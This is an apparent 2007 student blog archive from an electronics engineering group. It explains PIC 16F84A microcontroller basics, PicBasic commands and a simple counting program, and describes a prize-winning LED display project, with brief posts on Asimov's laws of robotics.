,world had ever seen .why human beings are different from other
things in this world ?what makes u feel so?my opinion is that he
is not different from the real world ! he is a part of it just as an
electronic robot he has sensors ,cpu ,and a learning programme
which makes him different from the other things in the world .
Besides there will be some database exsisting.
For a comparison please visit toggle.
Any body intereseted please comment..

Three laws of robotics

2007-05-02T10:49:00.000-07:00

In science fiction, the Three Laws of Robotics are a set of three rules written by Isaac Asimov, which almost all positronic robots appearing in his fiction must obey. Introduced in his 1942 short story "Runaround", although foreshadowed in a few earlier stories, the Laws state the following:

1. A robot may not injure a human being or, through inaction, allow a human being to come to harm.
2. A robot must obey orders given it by human beings except where such orders would conflict with the First Law.
3. A robot must protect its own existence as long as such protection does not conflict with the First or Second Law.

Later, Asimov added the Zeroth Law: "A robot may not harm humanity, or, by inaction, allow humanity to come to harm"; the rest of the laws are modified sequentially to acknowledge this.These laws are becoming essential for the design of intelligent robots.

PC based high frequency LED display

2007-04-21T23:33:00.000-07:00

Its the project,we did for our Excel 2K7 and won the 1ST prize .
It consists of row decoder and column decoder with an 8-bit counter .
remember that all decoders are active low and for the current sinking process
one of the decoders must be inverted to give it to the led display array,ie (32X8)
The serial data is given to the 3to8-bit decoder enable input ,to blink
the corresponding led to blink.A computer programme to send the high bits of the
character map to the parallel port & the process is done so fastly which produces
illusion of character on the display board.
its all about the working of the led display
ADVANTAGES
-The main advantage is ,less power consumption .
-secondly only one out put from parallel port .
-by changing the programme we can display any thing .
-can display any font .
the programming part is done by Mr: Arun Prabhakar (http://digitalpbk.blogspot.com/)

Simple Counting Program

2007-04-16T07:19:00.000-07:00

b1 var byte           'declares the variable b1 as type byte
poke TRISB, 0          'defines the all pins on the portB as output pins
let b1=0
loop:          'its an identifier for iteration
pause 1000          'it pauses the programm execution for 1 second
poke portB,b1          'writes the value of b1 on portB(decimal<=>binary)
b1=b1+1          'updetes the variable value to the nxt value
goto loop          'substitution for the loop statement,a simple goto
The connection diagram is as shown

The programmer and the burner

2007-04-14T08:39:00.000-07:00

The programmer details are available here
The programmer is a multi pic pragrammer .
we tried it and are happy to use that because the actual pic pragrammer costs
about 2000 Rs.But this programmer costs only less than 200Rs.
The ic burner software we have used is the
icprog

The compiler

2007-04-13T21:02:00.000-07:00

The compiler for the pic basic pro or picbasic is free with some limitations
Its free version is available Microcode studio
The microcode studio contains the compiler and its free version is enough for ur use.

Constants

2007-04-13T20:58:00.000-07:00

Named constants may be created in a similar manner to variables. It can be more convenient to use a constant name instead of a constant number. If the number needs to be changed, it may be changed in only one place in the program; where the constant is defined. Variable data cannot be stored in a constant.

Example

mice CON 3

Variables

2007-04-13T20:53:00.000-07:00

Variables are where temporary data is stored in a PicBasic Pro program. They are created using the VAR keyword. Variables may be bits, bytes or words. Space for each variable is automatically allocated in the microcontrollers RAM by PBP. The format for creating a variable is as follows:

Label VAR Size{.Modifiers}

Label is any identifier, excluding keywords, as described above. Size is BIT, BYTE or WORD. Optional Modifiers add additional control over how the variable is created. Some examples of creating variable are:

dog VAR byte
cat VAR bit
w0 VAR word

Branch command

2007-04-12T09:22:00.000-07:00

Syntax:
Branch offset, (label0,label1...)
Uses offset(byte variable)to index the list of labels.
execution continues at the indexed label according to
the offset value.
Example:
Branch B8, (label0,label1,label3)

if B8=0,then the program execution jumps to label0
if B8=1,then the program execution jumps to label1
and if B8=2,then the program execution jumps to label2

Goto statement:

2007-04-12T09:20:00.000-07:00

Syntax:
Goto label
program execution jumps to statements begining at label.
Example:
Goto loop 'program execution jumps to the statements following the label loop
.
.
.
loop:
. 'statements
.
.

Let

2007-04-12T09:18:00.000-07:00

Let assigns a value to a variable.
The value assigned may be
1.A constant(Let B1=0)
2.The value of another variable(Let B2=B1)
3.The result of any math operations
(The operations are performed strictly
left to right and all operations are performed
with 16-bit precision
Syntax
Let var=value

Pause command

2007-04-12T09:15:00.000-07:00

This command provides a pause in program execution for
the period in milliseconds.Period is a 16 bit number
that can hold a maximum value of 65,535.
In milliseconds,that works out to just over one minute.
(60,000ms).Unlike the other delay functions ,Nap and Sleep,
the pause command doesn't put the microcontroller into a
low power mode.This has both an advantage and a disadvantage.
The disadvantage is that pause consumes more power :
The advantage is that the clock is more accurate
pause 250 'Delay for .25 seconds
Applications:
The pause finds application in some situations where some
signals at the output or input pins may remain unchanged.
For example A typical gearbox motor will respond only after
30ms,after the appliction of valtage to it.

If .. Then statement

2007-04-11T09:04:00.000-07:00

If coparisonstatement Then Label
This is similar to the if statement in C language
The Then in if..Then is essentially a Goto.Another
statement cannot be placed after the Then .What
follows must be a label.The command copares variables
to constants or to other variables.If only one variable
is used in comparison then it must be placed on left.
All coparisons are unsigned.

The peek command

2007-04-11T08:52:00.000-07:00

We can use the peek command to check the status
of any input line.Using the peek command we can
read the five i/o lines of portA or the eight i/o
lines of portB at once.
syntax
peek address, var
As its name implies,the peek command allows to
view or peek at the contents of the specified
memory address.Typically the memory address
peeked at is one of the pic microcontroller's
registers.The peeked value is stored in a
variable var defined in the command.
The peek command can read an entire byte at
once as in thecase of portB ,but in the case of
portA only lower 5 bits of the peeked value are
relevant.
Bit0..Bit15
The first 2 bytes of ram memory,B0 and B1 are
special.This is because we can test the bit
values contained in each byte.
For B0,Bit0 to Bit7
B1,Bit8 to Bit15
Using these we can check the condition
of the input bits or pins at the port.

Some things to be noted while writing picbasic programs

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Identifiers
Identifiers are names used for line labels and symbols.
An identifier may be any sequence of letters ,digits,and
underscores,but it must not start with a digit.
Identifiers may be any number of characters in length :
however,the compiler will recognize only first 32
characters .Identifiers are not case sensitive hence
the labels LOOP:loop:Loop,etc will be read equivalently.
Line labels:
Labels are anchor points in our program.They are identifiers
followed by a colon.
Symbols
Symbols make our program more readable.They use identifiers
to represent the constants,variables or other quantities.
Symbols cannot be used for line labels
Example:
symbol five = 5 'symbolic constant
symbol number = W2 'named word variable

High & Low commands in pic basic

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We can output any bit at the ports randomly by using the High & Low
commands.These commands are limited to the portB .So the poke command
is necessary to output the bits at the portA.
Example :
High 0 'makes the output 1 at 0th pin of portB
Low command
Low command makes the output at the specified pin low .
Example:
Low 1 'makes the output 0at 1st pin of portB

PIC 16f84A RAM

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Ram may be accessed as bytes (8bit numbers ) or words(16bit numbers).
pic basic has predefined a number of variables for us .Byte sized
variables are named B0,B1...B51 & the word sized ram BY W0,W1..W25.
The byte and the word variables use the same memory space and
overlap one another.

comments

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Comments are includeed by inserting a ' symbol(single quotation mark)
Comments are stripped in the hex file hence we can write any number
of comments in our program.

The poke command

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Once the lines have been configured (input or output )using
TRIS register ,we can start using port.To output a binary

number at the port,simply write the number using the poke

command.The binary equivalent of the decimal number will
be written to the port.
For example :
Poke 6, 0
will write 00000000 to the portB
poke 6, 255
will write 11111111 to the portB
Where 6 is the address of the portB
In a similar fasion we can output any decimal number between
0 and 256 (excluding 256) to the portB.

BASIC Language for PIC 16f84A programming

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We can use basic or C language for the pic programming ,as
it is easy and simple to understand.The programs written in
assembly language for pic are complex and are not easy to
understand .Its future reference is difficult even thoughits
efficiency is high.
We did the pic programming,using the pic basic.

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High & Low commands in pic basic

PIC 16f84A RAM

comments

The poke command

PIC 16F84A registers & ports

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The pic 16f84Acontains 2 i/o ports ,port A& port B.
Each port has two registres associated with it ,the
TRIS(tri state )register and the address itself.
The TRIS register controlls whether a particular
pin on a port is configured as an input line or an
output line .once the ports are configured the user
may then read or write information to the port using
the port register address.In 16f84A there are 8 pins
available for port B & 5 for port A.
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REGISTER MEMORY MEMORY
LOCATION(hex) LOCATION(decimal)
--------**---------------**-----------------
PORT A -----05h------------- 5
PORT B -----06h -------------6
TRISA -------85h -----------133
TRISB -------86h------------ 134
---------------------------------------------

PIC 16F84A microcontroller architecture

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Pic micro controllers use haward architecture ,which
uses seperate data and program memory .Also it uses seperate
buses to communicate with each memory type .The haward
architecture has an improved bandwidth over the von neumann
architecture which uses same bus for the data and instruction.
The data memmory can be further broken down into general
purpose ragisters and special purpose registers.
The registers in the Pic 16f84A are mapped at specific addresses
in the data memory section.The picbasic language allows us to
read & write to these registers as if they are std: mem:bytes.
we read and write to these registers using the peek and poke
commands in the pic basic language .
we had used the Pic basic pro for the compilation & succeeded.
Anyway the basic language made the programming task simple!

PIC 16F84A microcontroller

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PIC 16F84A microcontroller(MC)
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General features :
Risc cpu 35 single instructions
operating speed DC-10MHz clockinput
1k program Memory
14 bit wide instructions ,
8bit wide data path,
direct &indirect &relative addressing:
1000erase/write cycles:

Peripheral features :
13 i/o pins with individual direction control :
high current sink/source for direct LED drive (25 mA sink max.per pin
20mA source max .per pin ):
TMRO-8-bit timer /counter with 8-bit programmable prescaler

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BASICS:
The 16f84A MC is a verstile MC with Flash memory (1K x 14bit )
on board can endure a minimum of 1000 erase/write cycles .
The program retension time B/w erase/write cycles is approximately
40 years .
The 18 pin chip devotes 13-pins to i/o .the pin status
(I/O direction controll )can be done through programming .

Can be programmed using assembly language or high level language .
In the case of high level language such as BASIC we need a copiler
to convert the programme to the hex file which can be directly
programmed in to the PIC using a PIC programmer which is commonly
available in the market.But the programmer will be costly for us
(it costs nearly 3000Rs).So the best thing is to make one programmer
as per the ckt diagram given in the site .we tried it & succeeded in
it to programme the 16f84A.It is also used to program other pics.
In the case of assembly language programming we need one assembler
to conver it to the Hex file.
We tried first with the BASic language and found it is the best to
programme than the assembly language ,being less prone to error &
easy to understand .We used the pic basic pro for compilation.

Microcontrollers

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microcontroller based photo rover

A microcontroller is an inexpensive single chip computer .
single chip means that the entire computer system lies within
the confines of the integrated circuit chip .
Primarily a microcontroller is capable of storing and running a
program(its most important feature).The microcontroller contains
a cpu ,ram ,rom ,I/O ports(pins in general),timers,and sometimes
other built-in peripherals such as A/D(analog=>digital) &D/A
converters.

The golden trophy

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Here it is! proving again and again that we are the best of
model engineering college.The best stall award in the project
exhibition contest for theacadamic year 2007 goes to E4A
(electronics A batch) & here's our rolling trophy.
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The members of our project group are
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Arun Prabhakar
Raveendra Pai.G
Jaison Varghese
Rahul Rajan
Hari P.R
Jyothish Nelson
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A special thanks for Manu Thomas even he is not a member of the
project group,considering his helps during the days of excel.